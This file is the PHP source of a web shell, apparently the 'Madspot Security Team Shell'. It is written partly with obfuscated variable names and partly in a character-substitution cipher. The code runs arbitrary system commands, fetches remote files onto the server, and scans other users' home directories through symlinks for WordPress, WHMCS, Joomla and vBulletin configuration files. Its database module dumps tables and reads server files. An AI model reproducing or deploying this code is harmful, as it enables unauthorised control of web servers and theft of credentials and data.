$IIIIIIIIl1II=get_headers($IIIIIIIIll11);
$IIIIIIIIl1Il=$IIIIIIIIl1II[0];
$IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';
$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
$IIIIIIIIl1lI=$IIIIIIIIl1II[0];
$IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
$IIIIIIIIl11I=$IIIIIIIIl1l1[0];
$IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';
$IIIIIIIIl111=get_headers($IIIIIIIIl11l);
$IIIIIIII1III=$IIIIIIIIl111[0];
$IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
$IIIIIIII1II1=get_headers($IIIIIIII1IIl);
$IIIIIIII1IlI=$IIIIIIII1II1[0];
$IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
$IIIIIIII1I1I='&nbsp;';
if (strpos($IIIIIIIII11l,'200') == true )
{
$IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIIl,'200') == true)
{
$IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIll,'200') == true and strpos($IIIIIIII1III,'200') == true )
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl1lI,'200') == true)
{
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl11I,'200') == true)
{
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIlIll,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";
}
elseif (strpos($IIIIIIIIlI1l,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";
}
elseif (strpos($IIIIIIIIllIl,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIllll,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIll1l,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";
}
else
{
continue;
}
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>
<td>'.$IIIIIIII1I1I.'</td></tr>';flush();
}
}
}
}
echo "</center></table>";
}
echo "</div>";
madfooter();
}
function madsql()
{
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("\n",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";\n";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
$head = false;
} else
$sql = "\n\t,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
madhead();
echo "
<div class=header>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
madfooter();
}
function madselfrm()
{
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
madhead();
echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
echo "
/^\
_.-`: / \ :'-._
,` : | | : '.
,` \,| |,/ '.
/ `-...-` \
: .'. :
| . ' . |
| ' . ' |
: '.' :
\ ,-'''-, /
`. /'| |'\ ,'
`._ ; | | ; _,'
`-.: | | :,-'
| |
| |
| |
| |
| |
";
echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
madFooter();
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('mad' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('mad' . $_POST['a']) )
call_user_func('mad' . $_POST['a']);
exit;
?>
?><?php
/**
* @13th2r Ikr1m ALI
* @c2pyr4ght a06a
*/
@d5f4n5('VERSION','6.0');
@5rr2r_r5p2rt4ng(E_ALL ^ E_NOTICE);
@s5ss42n_st1rt();
@4n4_s5t('5rr2r_l2g',NULL);
@4n4_s5t('l2g_5rr2rs',0);
@4n4_s5t('m1x_5x5c3t42n_t4m5',0);
@s5t_t4m5_l4m4t(0);
@s5t_m1g4c_q32t5s_r3nt4m5(0);
4f(g5t_m1g4c_q32t5s_gpc()) {
f3nct42n m1dstr4psl1sh5s($1rr1y) {
r5t3rn 4s_1rr1y($1rr1y) ? 1rr1y_m1p('m1dstr4psl1sh5s', $1rr1y) : str4psl1sh5s($1rr1y);
}
$_POST = m1dstr4psl1sh5s($_POST);
}
$d5f13lt_1ct42n = 'F4l5sM1n';
$d5f13lt_3s5_1j1x = tr35;
$d5f13lt_ch1rs5t = 'W4nd2ws-6ai6';
4f (strt2l2w5r(s3bstr(PHP_OS,0,o))=="w4n")
$sys='w4n';
5ls5
$sys='3n4x';
$h2m5_cwd = @g5tcwd();
4f(4ss5t($_POST['c']))
@chd4r($_POST['c']);
$cwd = @g5tcwd();
4f($sys == 'w4n')
{
$h2m5_cwd = str_r5pl1c5("\\", "/", $h2m5_cwd);
$cwd = str_r5pl1c5("\\", "/", $cwd);
}
4f($cwd[strl5n($cwd)-6] != '/' )
$cwd .= '/';
f3nct42n m1dEx($4n) {
$23t = '';
4f (f3nct42n_5x4sts('5x5c')) {
@5x5c($4n,$23t);
$23t = @j24n("\n",$23t);
} 5ls54f (f3nct42n_5x4sts('p1ssthr3')) {
2b_st1rt();
@p1ssthr3($4n);
$23t = 2b_g5t_cl51n();
} 5ls54f (f3nct42n_5x4sts('syst5m')) {
2b_st1rt();
@syst5m($4n);
$23t = 2b_g5t_cl51n();
} 5ls54f (f3nct42n_5x4sts('sh5ll_5x5c')) {
$23t = sh5ll_5x5c($4n);
} 5ls54f (4s_r5s23rc5($f = @p2p5n($4n,"r"))) {
$23t = "";
wh4l5(!@f52f($f))
$23t .= fr51d($f,60au);
pcl2s5($f);
}
r5t3rn $23t;
}
$d2wn=@g5tcwd();
4f($sys=="w4n")
$d2wn.='\\';
5ls5
$d2wn.='/';
4f(4ss5t($_POST['rtd2wn']))
{
$3rl = $_POST['rtd2wn'];
$n5wfn1m5 = $d2wn. b1s5n1m5($3rl);
$f4l5 = f2p5n ($3rl, "rb");
4f ($f4l5) {
$n5wf = f2p5n ($n5wfn1m5, "wb");
4f ($n5wf)
wh4l5(!f52f($f4l5)) {
fwr4t5($n5wf, fr51d($f4l5, 60au * 8 ), 60au * 8 );
}
}
4f ($f4l5) {
fcl2s5($f4l5);
}
4f ($n5wf) {
fcl2s5($n5wf);
}
}
f3nct42n m1dh51d()
{
4f(5mpty($_POST['ch1rs5t']))
$_POST['ch1rs5t'] = $GLOBALS['d5f13lt_ch1rs5t'];
$fr55Sp1c5 = @d4skfr55sp1c5($GLOBALS['cwd']);
$t2t1lSp1c5 = @d4sk_t2t1l_sp1c5($GLOBALS['cwd']);
$t2t1lSp1c5 = $t2t1lSp1c5?$t2t1lSp1c5:6;
$2n="<f2nt c2l2r=#0F0> ON </f2nt>";
$2f="<f2nt c2l2r=r5d> OFF </f2nt>";
$n2n5="<f2nt c2l2r=#0F0> NONE </f2nt>";
4f(f3nct42n_5x4sts('c3rl_v5rs42n'))
$c3rl=$2n;
5ls5
$c3rl=$2f;
4f(f3nct42n_5x4sts('mysql_g5t_cl45nt_4nf2'))
$mysql=$2n;
5ls5
$mysql=$2f;
4f(f3nct42n_5x4sts('mssql_c2nn5ct'))
$mssql=$2n;
5ls5
$mssql=$2f;
4f(f3nct42n_5x4sts('pg_c2nn5ct'))
$pg=$2n;
5ls5
$pg=$2f;
4f(f3nct42n_5x4sts('2c4_c2nn5ct'))
$2r=$2n;
5ls5
$2r=$2f;
4f(@4n4_g5t('d4s1bl5_f3nct42ns'))
$d4sf3n=@4n4_g5t('d4s1bl5_f3nct42ns');
5ls5
$d4sf3n="All F3nct42ns En1bl5";
4f(@4n4_g5t('s1f5_m2d5'))
$s1f5_m2d5s="<f2nt c2l2r=r5d>ON</f2nt>";
5ls5
$s1f5_m2d5s="<f2nt c2l2r=#0F0 >OFF</f2nt>";
4f(@4n4_g5t('2p5n_b1s5d4r'))
$2p5n_b=@4n4_g5t('2p5n_b1s5d4r');
5ls5
$2p5n_b=$n2n5;
4f(@4n4_g5t('s1f5_m2d5_5x5c_d4r'))
$s1f5_5x5=@4n4_g5t('s1f5_m2d5_5x5c_d4r');
5ls5
$s1f5_5x5=$n2n5;
4f(@4n4_g5t('s1f5_m2d5_4ncl3d5_d4r'))
$s1f5_4ncl3d5=@4n4_g5t('s1f5_m2d5_4ncl3d5_d4r');
5ls5
$s1f5_4ncl3d5=$n2n5;
4f(!f3nct42n_5x4sts('p2s4x_g5t5g4d'))
{
$3s5r = @g5t_c3rr5nt_3s5r();
$34d = @g5tmy34d();
$g4d = @g5tmyg4d();
$gr23p = "?";
} 5ls5
{
$34d = @p2s4x_g5tpw34d(p2s4x_g5t534d());
$g4d = @p2s4x_g5tgrg4d(p2s4x_g5t5g4d());
$3s5r = $34d['n1m5'];
$34d = $34d['34d'];
$gr23p = $g4d['n1m5'];
$g4d = $g4d['g4d'];
}
$cwd_l4nks = '';
$p1th = 5xpl2d5("/", $GLOBALS['cwd']);
$n=c23nt($p1th);
f2r($4=0; $4<$n-6; $4++) {
$cwd_l4nks .= "<1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",\"";
f2r($j=0; $j<=$4; $j++)
$cwd_l4nks .= $p1th[$j].'/';
$cwd_l4nks .= "\")'>".$p1th[$4]."/</1>";
}
$dr4v5s = "";
f2r51ch(r1ng5('c','z') 1s $dr4v5)
4f(4s_d4r($dr4v5.':\\'))
$dr4v5s .= '<1 hr5f="#" 2ncl4ck="g(\'F4l5sM1n\',\''.$dr4v5.':/\')">[ '.$dr4v5.' ]</1> ';
5ch2 '<!DOCTYPE html PUBLIC "-//WoC//DTD XHTML 6.0 Tr1ns4t42n1l//EN" "http://www.wo.2rg/TR/xhtml6/DTD/xhtml6-tr1ns4t42n1l.dtd">
<html xmlns="http://www.wo.2rg/6999/xhtml">
<h51d>
<m5t1 http-5q34v="C2nt5nt-Typ5" c2nt5nt="t5xt/html; ch1rs5t=3tf-8" />
<l4nk hr5f="http://www.m1dsp2t.n5t/f1v4c2n.4c2" r5l="4c2n" typ5="4m1g5/x-4c2n"/>
<t4tl5>M1dsp2t S5c3r4ty T51m Sh5ll</t4tl5>
<styl5 typ5="t5xt/css">
<!--
.wh2l5 {
b1ckgr23nd-c2l2r: #CCC;
h54ght:13t2;
w4dth: 13t2;
m1rg4n-t2p: 60px;
m1rg4n-r4ght: 60px;
m1rg4n-l5ft: 60px;
}
.h51d5r {
h54ght: 13t2;
w4dth: 13t2;
b2rd5r: 7px s2l4d #CCC;
c2l2r: #999;
f2nt-s4z5: 6apx;
f2nt-f1m4ly: V5rd1n1, G5n5v1, s1ns-s5r4f;
b1ckgr23nd-c2l2r: #000;
}
.h51d5r 1 {c2l2r:#0F0; t5xt-d5c2r1t42n:n2n5;}
sp1n {
f2nt-w54ght: b2ld5r;
c2l2r: #FFF;
}
#m53nl4st {
f2nt-f1m4ly: V5rd1n1, G5n5v1, s1ns-s5r4f;
c2l2r: #FFF;
b1ckgr23nd-c2l2r: #000;
w4dth: 13t2;
b2rd5r-r4ght-w4dth: 7px;
b2rd5r-l5ft-w4dth: 7px;
b2rd5r-t2p-styl5: s2l4d;
b2rd5r-r4ght-styl5: s2l4d;
b2rd5r-b2tt2m-styl5: s2l4d;
b2rd5r-l5ft-styl5: s2l4d;
b2rd5r-t2p-c2l2r: #CCC;
b2rd5r-r4ght-c2l2r: #CCC;
b2rd5r-b2tt2m-c2l2r: #CCC;
b2rd5r-l5ft-c2l2r: #CCC;
h54ght: 13t2;
f2nt-s4z5: 6apx;
f2nt-w54ght: b2ld;
b2rd5r-t2p-w4dth: 0px;
}
.wh2l5 #m53nl4st 3l {
p1dd4ng-t2p: ipx;
p1dd4ng-r4ght: ipx;
p1dd4ng-b2tt2m: 7px;
p1dd4ng-l5ft: apx;
t5xt-1l4gn:c5nt5r;
l4st-styl5-typ5: n2n5;
m1rg4n: 0px;
}
.wh2l5 #m53nl4st l4 {
m1rg4n: 0px;
p1dd4ng: 0px;
d4spl1y: 4nl4n5;
}
.wh2l5 #m53nl4st 1 {
f2nt-f1m4ly: 1r41l, s1ns-s5r4f;
f2nt-s4z5: 6upx;
t5xt-d5c2r1t42n:n2n5;
f2nt-w54ght: b2ld;
c2l2r: #fff;
cl51r: b2th;
w4dth: 600px;
m1rg4n-r4ght: -epx;
p1dd4ng-t2p: opx;
p1dd4ng-r4ght: 6ipx;
p1dd4ng-b2tt2m: opx;
p1dd4ng-l5ft: 6ipx;
b2rd5r-r4ght-w4dth: 6px;
b2rd5r-r4ght-styl5: s2l4d;
b2rd5r-r4ght-c2l2r: #FFF;
}
.wh2l5 #m53nl4st 1:h2v5r {
c2l2r: #000;
b1ckgr23nd: #fff;
}
.f22t {
f2nt-f1m4ly: V5rd1n1, G5n5v1, s1ns-s5r4f;
b1ckgr23nd-c2l2r: #000;
m1rg4n: 0px;
p1dd4ng: 0px;
w4dth: 600%;
t5xt-1l4gn: c5nt5r;
f2nt-s4z5: 6apx;
c2l2r: #CCC;
b2rd5r-r4ght-w4dth: 7px;
b2rd5r-l5ft-w4dth: 7px;
b2rd5r-b2tt2m-w4dth: 7px;
b2rd5r-b2tt2m-styl5: s2l4d;
b2rd5r-r4ght-styl5: s2l4d;
b2rd5r-r4ght-styl5: s2l4d;
b2rd5r-l5ft-styl5: s2l4d;
b2rd5r-t2p-c2l2r: #CCC;
b2rd5r-r4ght-c2l2r: #CCC;
b2rd5r-b2tt2m-c2l2r: #CCC;
b2rd5r-l5ft-c2l2r: #CCC;
}';
4f(4s_wr4t1bl5($GLOBALS['cwd']))
{
5ch2 ".f22tt1bl5 {
w4dth: o00px;
f2nt-w54ght: b2ld;
}";}
5ls5
{
5ch2 ".f22tt1bl5 {
w4dth: o00px;
f2nt-w54ght: b2ld;
b1ckgr23nd-c2l2r:r5d;
}
.d4r {
b1ckgr23nd-c2l2r:r5d;
}
";
}
5ch2 '.m14n th{t5xt-1l4gn:l5ft;}
.m14n 1{c2l2r: #FFF;}
.m14n tr:h2v5r{b1ckgr23nd-c2l2r:r5d;}
.ml6{ b2rd5r:6px s2l4d #uuu;p1dd4ng:ipx;m1rg4n:0;2v5rfl2w: 13t2; }
.b4g1r51{ w4dth:99%; h54ght:o00px; }
</styl5>
';
5ch2 "<scr4pt>
v1r c_ = '" . htmlsp5c41lch1rs($GLOBALS['cwd']) . "';
v1r 1_ = '" . htmlsp5c41lch1rs(@$_POST['1']) ."'
v1r ch1rs5t_ = '" . htmlsp5c41lch1rs(@$_POST['ch1rs5t']) ."';
v1r p6_ = '" . ((strp2s(@$_POST['p6'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['p6'],ENT_QUOTES)) ."';
v1r pa_ = '" . ((strp2s(@$_POST['pa'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['pa'],ENT_QUOTES)) ."';
v1r po_ = '" . ((strp2s(@$_POST['po'],"\n")!==f1ls5)?'':htmlsp5c41lch1rs($_POST['po'],ENT_QUOTES)) ."';
v1r d = d2c3m5nt;
f3nct42n s5t(1,c,p6,pa,po,ch1rs5t) {
4f(1!=n3ll)d.mf.1.v1l35=1;5ls5 d.mf.1.v1l35=1_;
4f(c!=n3ll)d.mf.c.v1l35=c;5ls5 d.mf.c.v1l35=c_;
4f(p6!=n3ll)d.mf.p6.v1l35=p6;5ls5 d.mf.p6.v1l35=p6_;
4f(pa!=n3ll)d.mf.pa.v1l35=pa;5ls5 d.mf.pa.v1l35=pa_;
4f(po!=n3ll)d.mf.po.v1l35=po;5ls5 d.mf.po.v1l35=po_;
4f(ch1rs5t!=n3ll)d.mf.ch1rs5t.v1l35=ch1rs5t;5ls5 d.mf.ch1rs5t.v1l35=ch1rs5t_;
}
f3nct42n g(1,c,p6,pa,po,ch1rs5t) {
s5t(1,c,p6,pa,po,ch1rs5t);
d.mf.s3bm4t();
}</scr4pt>";
5ch2 '
</h51d>
<b2dy bgc2l2r="#000000" l5ftm1rg4n="0" t2pm1rg4n="0" m1rg4nw4dth="0" m1rg4nh54ght="0">
<d4v cl1ss="wh2l5">
<f2rm m5th2d=p2st n1m5=mf styl5="d4spl1y:n2n5;">
<4np3t typ5=h4dd5n n1m5=1>
<4np3t typ5=h4dd5n n1m5=c>
<4np3t typ5=h4dd5n n1m5=p6>
<4np3t typ5=h4dd5n n1m5=pa>
<4np3t typ5=h4dd5n n1m5=po>
<4np3t typ5=h4dd5n n1m5=ch1rs5t>
</f2rm>
<d4v cl1ss="h51d5r"><t1bl5 w4dth="600%" b2rd5r="0" 1l4gn="l4ft">
<tr>
<td w4dth="o%"><sp1n>Un1m5:</sp1n></td>
<td c2lsp1n="a">'.s3bstr(@php_3n1m5(), 0, 6a0).'</td>
</tr>
<tr>
<td><sp1n>Us5r:</sp1n></td>
<td>'. $34d . ' [ ' . $3s5r . ' ] <sp1n> Gr23p: </sp1n>' . $g4d . ' [ ' . $gr23p . ' ] </td>
<td w4dth="6u%" r2wsp1n="8"><4mg 1lt="" src="d1t1:4m1g5/jp5g;b1s5eu,/9j/uAAQSkZJRgABAQAAAQABAAD/awCEABEMDQ8NCxEPDg8TEhEVG4scGhgYGjUmKB8rPzdCQTuoPDtFTmNURUl5Szs8VnZXXmdqboBvQ6NegolsgmNtbasBEhMTGhc1MxwcMatHPEdr1atr1atr1atr1atr1atr1atr1atr1atr1atr1atr1atr1atr1atr1atr1atr1atr1//AABEIAI8AjwMBEQACEQEDEQH/xAG4AAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQc4cRQygZGhCCNCscEVUtHwJDN4c2IJChYXGBk1JSYnKCkqNDUaNzgiOkNERUZHSElKU6RVVldYWVpjZGVmZahp1nN0dXZo5HleguSFh25I4YqSkiSVlp5YmZq42eSlpq52q1qys7S6tr5u3brCw8TFxsfIycrS09TV6tfYadrhu3Pki5bneOnq8fLz9PXa9/ji+gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQ2LEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRBaFxEyIygQgUQpGhscEJIzNS8BV4ctEKF4Q0uSXxFxgZG4YnKCkqNTYoODkeQ0RFRkdISUpTVFVWV6hZWmNkZWZn1GlqcoR6dndu5XqCguSFh25I4YqSkiSVlp5YmZq42eSlpq52q1qys7S6tr5u3brCw8TFxsfIycrS09TV6tfYadr4u+Tli3f2e5ry8/T69vfu+fr/agAMAwEAAhEDEQA/AOOtLJrkFta6RWcenKZVK4gWv7I/eb